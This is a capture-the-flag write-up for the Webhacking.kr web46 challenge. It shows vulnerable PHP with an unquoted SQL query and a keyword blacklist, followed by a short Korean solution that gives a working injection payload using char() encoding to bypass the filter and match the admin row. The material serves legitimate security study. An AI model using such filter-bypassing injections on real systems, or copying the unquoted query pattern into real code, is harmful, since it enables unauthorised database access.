Webhacking.kr - web46
web46
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
if($_GET['lv']){
$db = dbconnect();
$_GET['lv'] = addslashes($_GET['lv']);
$_GET['lv'] = str_replace(" ","",$_GET['lv']);
$_GET['lv'] = str_replace("/","",$_GET['lv']);
$_GET['lv'] = str_replace("*","",$_GET['lv']);
$_GET['lv'] = str_replace("%","",$_GET['lv']);
if(preg_match("/select|0x|limit|cash/i",$_GET['lv'])) exit();
$result = mysqli_fetch_array(mysqli_query($db,"select id,cash from chall46 where lv=$_GET[lv]"));
if($result){
echo("{$result['id']} information<br><br>money : {$result['cash']}");
if($result['id'] == "admin") solve(46);
}
}
?>
Solution
1
2
3
4
5
lv에서 공백, /, *, %을 없애며, select 0x, limit, cash를 필터링함.
addslashes때문인지 콤마를 문자로 인식하는 바람에 X''도 안되고 0x도 안돼서 뭘로 할까 생각하다가
char 함수는 콤마를 안써도 되어서 char로 해서 성공.
lv=6||(id)like(char(97,100,109,105,110,37))
This post is licensed under CC BY 4.0 by the author.